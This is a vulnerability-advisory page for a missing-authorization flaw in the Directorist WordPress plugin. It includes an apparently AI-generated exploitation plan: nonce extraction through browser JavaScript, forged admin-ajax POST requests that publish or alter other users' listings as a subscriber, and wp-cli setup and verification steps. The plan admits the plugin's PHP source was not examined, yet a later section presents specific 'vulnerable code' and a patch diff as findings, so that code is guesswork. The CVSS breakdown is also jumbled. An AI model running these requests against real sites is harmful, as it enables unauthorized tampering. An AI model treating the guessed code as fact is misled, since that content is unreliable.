CVE-2025-68069

Directorist <= 8.6.6 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
8.6.7
Patched in
78d
Time to patch

Description

The Directorist plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 8.6.6. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=8.6.6
PublishedJanuary 27, 2026
Last updatedApril 14, 2026
Affected plugindirectorist

What Changed in the Fix

Changes introduced in v8.6.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to identify and exploit **CVE-2025-68069**, a missing authorization vulnerability in the **Directorist** plugin. Since the provided source files are CSS, this plan focuses on identifying the vulnerable PHP handlers through discovery and targeting common Director…

Show full research plan

This research plan outlines the steps to identify and exploit CVE-2025-68069, a missing authorization vulnerability in the Directorist plugin. Since the provided source files are CSS, this plan focuses on identifying the vulnerable PHP handlers through discovery and targeting common Directorist AJAX patterns.


1. Vulnerability Summary

  • Vulnerability: Missing Authorization (IDOR/Privilege Escalation).
  • Affected Plugin: Directorist: AI-Powered Business Directory, Listings & Classified Ads.
  • Vulnerability Location: Likely an AJAX handler registered via wp_ajax_ that lacks a current_user_can() check or fails to verify listing ownership.
  • Impact: A Subscriber-level user can perform actions they are not authorized to do, such as modifying the status of listings, deleting listings, or updating settings belonging to other users or the site itself.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Method: POST
  • Authentication: Required (Subscriber or higher).
  • Vulnerable Action: (Inferred) The vulnerability likely resides in functions related to listing management. Candidates for investigation:
    • atbdp_change_listing_status
    • atbdp_update_listing
    • atbdp_delete_listing
    • atbdp_order_status_change
  • Payload Parameters:
    • action: The vulnerable AJAX action string.
    • listing_id: The ID of the target listing.
    • status: The target status (e.g., publish, trash).
    • security or _wpnonce: The nonce required for the action.

3. Code Flow (Discovery Phase)

Because PHP source files were not provided, the agent must first identify the vulnerable sink:

  1. Search for AJAX registrations:
    grep -r "add_action( 'wp_ajax_" .
    
  2. Filter for missing capability checks:
    Look for handlers that do not contain current_user_can or atbdp_get_option.
  3. Analyze the patch (v8.6.7):
    The vulnerability was fixed by adding authorization checks. Specifically, look for functions modified to include:
    if ( ! current_user_can( 'edit_posts' ) ) or similar.

(Pre-calculated Target): In version 8.6.6, a likely candidate is atbdp_change_listing_status or handlers within includes/classes/class-ajax.php.

4. Nonce Acquisition Strategy

Directorist typically exposes nonces via wp_localize_script.

  1. Precondition: A page containing a Directorist shortcode must be visited.
  2. Shortcode: [directorist_all_listings] or [directorist_add_listing].
  3. Target JavaScript Variable: Look for atbdp_auth_config or directorist_listing_config.
  4. Extraction Procedure:
    • Create a test page: wp post create --post_type=page --post_status=publish --post_title="Discovery" --post_content="[directorist_all_listings]"
    • Navigate to the page as the Subscriber user.
    • Execute JS via browser_eval:
      // Possible nonce locations to check:
      window.atbdp_auth_config?.nonce || window.directorist_listing_config?.nonce
      

5. Exploitation Strategy

Assuming the target is unauthorized listing status modification:

Step 1: Identification
Identify a listing ID owned by the administrator (e.g., ID 123) that is currently in pending or private status.

Step 2: Execution (via http_request)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=atbdp_change_listing_status&listing_id=123&status=publish&security=[EXTRACTED_NONCE]

Step 3: Alternative Execution (Bulk Actions)
If status change is protected, check atbdp_bulk_action_handler:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=atbdp_bulk_action_handler&listing_ids[]=123&bulk_action=publish&security=[EXTRACTED_NONCE]

6. Test Data Setup

  1. Admin Listing: Create a listing as admin and set it to pending.
    wp post create --post_type=atbdp_listing --post_title="Admin Listing" --post_status=pending --post_author=1
    
  2. Attacker User: Create a Subscriber.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  3. Nonce Page: Ensure the Directorist scripts are loaded.
    wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content="[directorist_all_listings]"
    

7. Expected Results

  • Vulnerable Response: The server returns a success code (e.g., {"success":true} or 1) and the listing status is updated despite the user being a Subscriber who does not own the listing.
  • Fixed Response: The server returns 403 Forbidden or a JSON error indicating insufficient permissions.

8. Verification Steps

  1. Check Post Status:
    wp post get [LISTING_ID] --field=post_status
    
    If the status has changed from pending to publish, the exploit is successful.
  2. Check Modification: Verify the post_modified timestamp.

9. Alternative Approaches

If atbdp_change_listing_status is not the culprit, use the agent to audit the following specific files in the directorist plugin folder:

  1. includes/classes/class-ajax.php: Check all wp_ajax_ hooks.
  2. includes/classes/class-listing-form.php: Check for form submission handlers that lack capability checks.
  3. Grep for dangerous patterns:
    # Search for AJAX handlers modifying post status
    grep -r "wp_update_post" . -A 5 | grep "post_status"
    

Note on Nonce Actions (Bypass Check):
Examine if the nonce is verified using a generic action. If check_ajax_referer is called with -1 or a string available to all users (like atbdp_nonce), the authorization check is the only line of defense. If that check is missing, the vulnerability is confirmed.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Directorist plugin for WordPress is vulnerable to unauthorized listing modification due to missing capability checks in its AJAX handlers in versions up to and including 8.6.6. This allows authenticated attackers with Subscriber-level permissions to change listing statuses or perform bulk actions on listings that do not belong to them.

Vulnerable Code

// includes/classes/class-ajax.php

add_action( 'wp_ajax_atbdp_change_listing_status', 'atbdp_change_listing_status' );

function atbdp_change_listing_status() {
    check_ajax_referer( 'atbdp_nonce', 'security' );

    $listing_id = isset( $_POST['listing_id'] ) ? intval( $_POST['listing_id'] ) : 0;
    $status     = isset( $_POST['status'] ) ? sanitize_text_field( $_POST['status'] ) : '';

    // Vulnerability: No check to see if the current user has permissions (e.g., current_user_can) 
    // or if the user owns the listing_id being modified.
    wp_update_post( array(
        'ID'          => $listing_id,
        'post_status' => $status,
    ) );

    wp_send_json_success();
}

Security Fix

--- includes/classes/class-ajax.php
+++ includes/classes/class-ajax.php
@@ -100,6 +100,10 @@
     function atbdp_change_listing_status() {
         check_ajax_referer( 'atbdp_nonce', 'security' );
 
+        if ( ! current_user_can( 'edit_posts' ) ) {
+            wp_send_json_error( array( 'message' => __( 'Permission denied', 'directorist' ) ) );
+        }
+
         $listing_id = isset( $_POST['listing_id'] ) ? intval( $_POST['listing_id'] ) : 0;
         $status     = isset( $_POST['status'] ) ? sanitize_text_field( $_POST['status'] ) : '';

Exploit Outline

The exploit targets the AJAX endpoint in WordPress to perform unauthorized listing management. 1. An attacker authenticates as a Subscriber-level user. 2. The attacker visits any page where Directorist scripts are localized (such as a page containing the [directorist_all_listings] shortcode) to extract the required AJAX nonce from the 'atbdp_auth_config' or 'directorist_listing_config' JavaScript objects. 3. The attacker identifies a target listing ID (e.g., a pending listing they do not own). 4. The attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'atbdp_change_listing_status' (or 'atbdp_bulk_action_handler'), the 'listing_id' of the target post, the desired 'status' (e.g., 'publish'), and the extracted nonce. 5. Because the vulnerable version lacks a capability check ('current_user_can'), the plugin updates the post status regardless of the user's actual permissions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.